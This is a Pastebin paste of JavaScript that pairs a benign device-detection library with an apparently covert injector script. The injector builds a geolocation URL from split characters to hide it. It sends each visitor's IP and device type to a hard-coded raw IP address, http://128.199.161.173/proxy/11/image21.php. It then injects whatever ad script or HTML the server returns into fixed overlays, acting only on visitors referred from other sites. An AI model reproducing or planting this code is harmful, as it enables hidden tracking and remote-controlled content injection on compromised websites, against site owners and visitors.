Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function() {
- var data;
- var oldDevice;
- var update;
- var node;
- var has;
- var func;
- var load;
- var name;
- var add;
- var allowed;
- oldDevice = window.device;
- data = {};
- window.device = data;
- /** @type {Element} */
- node = window.document.documentElement;
- /** @type {string} */
- allowed = window.navigator.userAgent.toLowerCase();
- /**
- * @return {?}
- */
- data.ios = function() {
- return data.iphone() || (data.ipod() || data.ipad());
- };
- /**
- * @return {?}
- */
- data.iphone = function() {
- return!data.windows() && has("iphone");
- };
- /**
- * @return {?}
- */
- data.ipod = function() {
- return has("ipod");
- };
- /**
- * @return {?}
- */
- data.ipad = function() {
- return has("ipad");
- };
- /**
- * @return {?}
- */
- data.android = function() {
- return!data.windows() && has("android");
- };
- /**
- * @return {?}
- */
- data.androidPhone = function() {
- return data.android() && has("mobile");
- };
- /**
- * @return {?}
- */
- data.androidTablet = function() {
- return data.android() && !has("mobile");
- };
- /**
- * @return {?}
- */
- data.blackberry = function() {
- return has("blackberry") || (has("bb10") || has("rim"));
- };
- /**
- * @return {?}
- */
- data.blackberryPhone = function() {
- return data.blackberry() && !has("tablet");
- };
- /**
- * @return {?}
- */
- data.blackberryTablet = function() {
- return data.blackberry() && has("tablet");
- };
- /**
- * @return {?}
- */
- data.windows = function() {
- return has("windows");
- };
- /**
- * @return {?}
- */
- data.windowsPhone = function() {
- return data.windows() && has("phone");
- };
- /**
- * @return {?}
- */
- data.windowsTablet = function() {
- return data.windows() && (has("touch") && !data.windowsPhone());
- };
- /**
- * @return {?}
- */
- data.fxos = function() {
- return(has("(mobile;") || has("(tablet;")) && has("; rv:");
- };
- /**
- * @return {?}
- */
- data.fxosPhone = function() {
- return data.fxos() && has("mobile");
- };
- /**
- * @return {?}
- */
- data.fxosTablet = function() {
- return data.fxos() && has("tablet");
- };
- /**
- * @return {?}
- */
- data.meego = function() {
- return has("meego");
- };
- /**
- * @return {?}
- */
- data.cordova = function() {
- return window.cordova && "file:" === location.protocol;
- };
- /**
- * @return {?}
- */
- data.nodeWebkit = function() {
- return "object" == typeof window.process;
- };
- /**
- * @return {?}
- */
- data.mobile = function() {
- return data.androidPhone() || (data.iphone() || (data.ipod() || (data.windowsPhone() || (data.blackberryPhone() || (data.fxosPhone() || data.meego())))));
- };
- /**
- * @return {?}
- */
- data.tablet = function() {
- return data.ipad() || (data.androidTablet() || (data.blackberryTablet() || (data.windowsTablet() || data.fxosTablet())));
- };
- /**
- * @return {?}
- */
- data.desktop = function() {
- return!data.tablet() && !data.mobile();
- };
- /**
- * @return {?}
- */
- data.television = function() {
- var conditionIndex;
- /** @type {Array} */
- television = ["googletv", "viera", "smarttv", "internet.tv", "netcast", "nettv", "appletv", "boxee", "kylo", "roku", "dlnadoc", "roku", "pov_tv", "hbbtv", "ce-html"];
- /** @type {number} */
- conditionIndex = 0;
- for (;conditionIndex < television.length;) {
- if (has(television[conditionIndex])) {
- return true;
- }
- conditionIndex++;
- }
- return false;
- };
- /**
- * @return {?}
- */
- data.portrait = function() {
- return window.innerHeight / window.innerWidth > 1;
- };
- /**
- * @return {?}
- */
- data.landscape = function() {
- return window.innerHeight / window.innerWidth < 1;
- };
- /**
- * @return {?}
- */
- data.noConflict = function() {
- return window.device = oldDevice, this;
- };
- /**
- * @param {string} t
- * @return {?}
- */
- has = function(t) {
- return-1 !== allowed.indexOf(t);
- };
- /**
- * @param {string} pattern
- * @return {?}
- */
- load = function(pattern) {
- var regex;
- return regex = new RegExp(pattern, "i"), node.className.match(regex);
- };
- /**
- * @param {string} value
- * @return {undefined}
- */
- update = function(value) {
- /** @type {null} */
- var name = null;
- if (!load(value)) {
- name = node.className.replace(/^\s+|\s+$/g, "");
- /** @type {string} */
- node.className = name + " " + value;
- }
- };
- /**
- * @param {string} key
- * @return {undefined}
- */
- add = function(key) {
- if (load(key)) {
- node.className = node.className.replace(" " + key, "");
- }
- };
- if (data.ios()) {
- if (data.ipad()) {
- update("ios ipad tablet");
- } else {
- if (data.iphone()) {
- update("ios iphone mobile");
- } else {
- if (data.ipod()) {
- update("ios ipod mobile");
- }
- }
- }
- } else {
- if (data.android()) {
- update(data.androidTablet() ? "android tablet" : "android mobile");
- } else {
- if (data.blackberry()) {
- update(data.blackberryTablet() ? "blackberry tablet" : "blackberry mobile");
- } else {
- if (data.windows()) {
- update(data.windowsTablet() ? "windows tablet" : data.windowsPhone() ? "windows mobile" : "desktop");
- } else {
- if (data.fxos()) {
- update(data.fxosTablet() ? "fxos tablet" : "fxos mobile");
- } else {
- if (data.meego()) {
- update("meego mobile");
- } else {
- if (data.nodeWebkit()) {
- update("node-webkit");
- } else {
- if (data.television()) {
- update("television");
- } else {
- if (data.desktop()) {
- update("desktop");
- }
- }
- }
- }
- }
- }
- }
- }
- }
- if (data.cordova()) {
- update("cordova");
- }
- /**
- * @return {undefined}
- */
- func = function() {
- if (data.landscape()) {
- add("portrait");
- update("landscape");
- } else {
- add("landscape");
- update("portrait");
- }
- };
- /** @type {string} */
- name = Object.prototype.hasOwnProperty.call(window, "onorientationchange") ? "orientationchange" : "resize";
- if (window.addEventListener) {
- window.addEventListener(name, func, false);
- } else {
- if (window.attachEvent) {
- window.attachEvent(name, func);
- } else {
- /** @type {function (): undefined} */
- window[name] = func;
- }
- }
- func();
- if ("function" == typeof define && ("object" == typeof define.amd && define.amd)) {
- define(function() {
- return data;
- });
- } else {
- if ("undefined" != typeof module && module.exports) {
- module.exports = data;
- } else {
- window.device = data;
- }
- }
- }).call(this);
- (function(option) {
- /**
- * @return {?}
- */
- function load() {
- if (parseQuery("_G_SKIP")) {
- return true;
- }
- /** @type {RegExp} */
- var regexp = new RegExp(window.location.hostname, "i");
- return document.referrer && !regexp.test(document.referrer);
- }
- /**
- * @param {string} name
- * @return {?}
- */
- function getCookie(name) {
- /** @type {(Array.<string>|null)} */
- var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
- return matches ? decodeURIComponent(matches[1]) : undefined;
- }
- /**
- * @param {string} name
- * @param {(number|string)} value
- * @param {Object} data
- * @return {undefined}
- */
- function setCookie(name, value, data) {
- data = data || {};
- var exp = data.expires;
- if (typeof exp == "number" && exp) {
- /** @type {Date} */
- var d = new Date;
- d.setTime(d.getTime() + exp * 1E3);
- /** @type {Date} */
- exp = data.expires = d;
- }
- if (exp && exp.toUTCString) {
- data.expires = exp.toUTCString();
- }
- /** @type {string} */
- value = encodeURIComponent(value);
- /** @type {string} */
- var text = name + "=" + value;
- var i;
- for (i in data) {
- if (data.hasOwnProperty(i)) {
- text += "; " + i;
- var line = data[i];
- if (line !== true) {
- text += "=" + line;
- }
- }
- }
- /** @type {string} */
- document.cookie = text;
- }
- /**
- * @param {Object} params
- * @return {undefined}
- */
- function init(params) {
- prefix = params.url || "";
- if (!getCookie(cookieName)) {
- initialize();
- }
- }
- /**
- * @return {undefined}
- */
- function initialize() {
- /** @type {Element} */
- var scriptEl = document.createElement("script");
- scriptEl.setAttribute("type", "text/javascript");
- scriptEl.setAttribute("src", "//f" + "r" + "e" + "e" + "g" + "e" + "o" + "i" + "p" + ".n" + "e" + "t" + "/j" + "so" + "n?c" + "all" + "ba" + "ck=g_" + "cal" + "lba" + "ckI" + "p");
- if (scriptEl) {
- document.getElementsByTagName("head")[0].appendChild(scriptEl);
- }
- }
- /**
- * @param {Array} srcs
- * @return {undefined}
- */
- function loadScript(srcs) {
- var head = document.getElementsByTagName("body")[0];
- /** @type {Element} */
- var script = document.createElement("script");
- script.setAttribute("type", "text/javascript");
- script.setAttribute("src", "//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js");
- script.setAttribute("async", "");
- head.appendChild(script);
- srcs.forEach(function(item) {
- if (item.c) {
- update(item.c, item.s);
- }
- });
- }
- /**
- * @param {string} text
- * @param {string} inEdge
- * @return {undefined}
- */
- function update(text, inEdge) {
- var object = text.match(/height:(\d+)px/i);
- var keys = text.match(/width:(\d+)px/i);
- var value = object ? object[1] : 90;
- var length = keys ? keys[1] : 90;
- var bar = document.getElementsByTagName("body")[0];
- /** @type {Element} */
- var div = document.createElement("div");
- /** @type {string} */
- var prevValue = "div_" + action(1, 1E3);
- /** @type {Element} */
- var label = document.createElement("div");
- div.setAttribute("id", prevValue);
- /** @type {string} */
- div.style.position = "fixed";
- div.style.backgroundColor = bar.style.backgroundColor;
- /** @type {string} */
- div.style.textAlign = "center";
- /** @type {string} */
- div.style.verticalAlign = "middle";
- /** @type {string} */
- div.style.zIndex = "9999999999";
- switch(inEdge) {
- case "t":
- ;
- case "b":
- if (inEdge == "t") {
- /** @type {number} */
- div.style.top = 0;
- } else {
- /** @type {number} */
- div.style.bottom = 0;
- }
- /** @type {string} */
- div.style.height = value + "px";
- /** @type {string} */
- div.style.width = "100%";
- break;
- case "l":
- ;
- case "r":
- if (inEdge == "l") {
- /** @type {number} */
- div.style.left = 0;
- } else {
- /** @type {number} */
- div.style.right = 0;
- }
- /** @type {string} */
- div.style.top = window.innerHeight / 2 - value / 2 + "px";
- /** @type {string} */
- div.style.height = "100%";
- /** @type {string} */
- div.style.width = length + "px";
- break;
- case "lb":
- ;
- case "rb":
- if (inEdge == "lb") {
- /** @type {number} */
- div.style.left = 0;
- } else {
- /** @type {number} */
- div.style.right = 0;
- }
- /** @type {number} */
- div.style.bottom = 0;
- /** @type {string} */
- div.style.height = "100%";
- /** @type {string} */
- div.style.width = length + "px";
- /** @type {string} */
- label.style.position = "absolute";
- /** @type {number} */
- label.style.bottom = 0;
- break;
- case "lt":
- ;
- case "rt":
- if (inEdge == "lt") {
- /** @type {number} */
- div.style.left = 0;
- } else {
- /** @type {number} */
- div.style.right = 0;
- }
- /** @type {number} */
- div.style.top = 0;
- /** @type {string} */
- div.style.height = "100%";
- /** @type {string} */
- div.style.width = length + "px";
- /** @type {string} */
- label.style.position = "absolute";
- /** @type {number} */
- label.style.top = 0;
- break;
- }
- div.setAttribute("data-height", value);
- /** @type {string} */
- label.innerHTML = text;
- div.appendChild(label);
- bar.appendChild(div);
- (adsbygoogle = window.adsbygoogle || []).push({});
- if (inEdge == "l" || inEdge == "r") {
- isFunction("onresize", function() {
- size(this);
- }.bind(div));
- }
- }
- /**
- * @param {number} dataAndEvents
- * @param {number} opt_attributes
- * @return {?}
- */
- function action(dataAndEvents, opt_attributes) {
- return Math.floor(Math.random() * (opt_attributes - dataAndEvents)) + dataAndEvents;
- }
- /**
- * @param {Element} elem
- * @return {undefined}
- */
- function size(elem) {
- var oHeight = elem.getAttribute("data-height");
- /** @type {string} */
- elem.style.top = window.innerHeight / 2 - oHeight / 2 + "px";
- }
- /**
- * @param {string} smartCase
- * @return {?}
- */
- function parseQuery(smartCase) {
- try {
- /** @type {string} */
- var href = window.location.href;
- /** @type {string} */
- var regstr = "[\\?#&]" + smartCase + "=([^&#]*)";
- /** @type {RegExp} */
- var reg = new RegExp(regstr);
- /** @type {(Array.<string>|null)} */
- var matches = reg.exec(href);
- if (matches == null) {
- return "";
- } else {
- return decodeURIComponent(matches[1]);
- }
- } catch (e) {
- return "";
- }
- }
- /**
- * @param {string} name
- * @param {Function} val
- * @return {undefined}
- */
- function isFunction(name, val) {
- var previous = window[name];
- if (typeof window[name] != "function") {
- /** @type {Function} */
- window[name] = val;
- } else {
- /**
- * @return {undefined}
- */
- window[name] = function() {
- if (previous) {
- previous();
- }
- val();
- };
- }
- }
- var prefix;
- /** @type {string} */
- var cookieName = "_g_hl9vjssuHK6riw3ks-R0rq0V-7RYmGYi";
- /**
- * @param {(Object|string)} data
- * @return {undefined}
- */
- window.g_callbackIp = function(data) {
- /** @type {XMLHttpRequest} */
- var xhr = new XMLHttpRequest;
- xhr.open("GET", prefix + "?c=" + data.ip + "&m=" + (!window.device.desktop() ? 1 : 0) + (parseQuery("_G_SKIP") ? "&_G_SKIP=1" : ""), true);
- xhr.setRequestHeader("Content-Type", "application/json");
- xhr.send();
- /**
- * @return {undefined}
- */
- xhr.onreadystatechange = function() {
- if (this.readyState != 4) {
- return;
- }
- if (this.status == 200) {
- /** @type {*} */
- var data = JSON.parse(this.responseText);
- if (!data.a || !load()) {
- return;
- }
- switch(data.a) {
- case "c":
- setCookie(cookieName, 1, {
- expires : 60 * 60 * 24 * 365
- });
- break;
- case "s":
- if (!data.r || !(data.r instanceof Array)) {
- return;
- }
- loadScript(data.r);
- break;
- }
- }
- };
- };
- isFunction("onload", function() {
- init(option);
- });
- })({
- url : "http://128.199.161.173/proxy/11/image21.php"
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement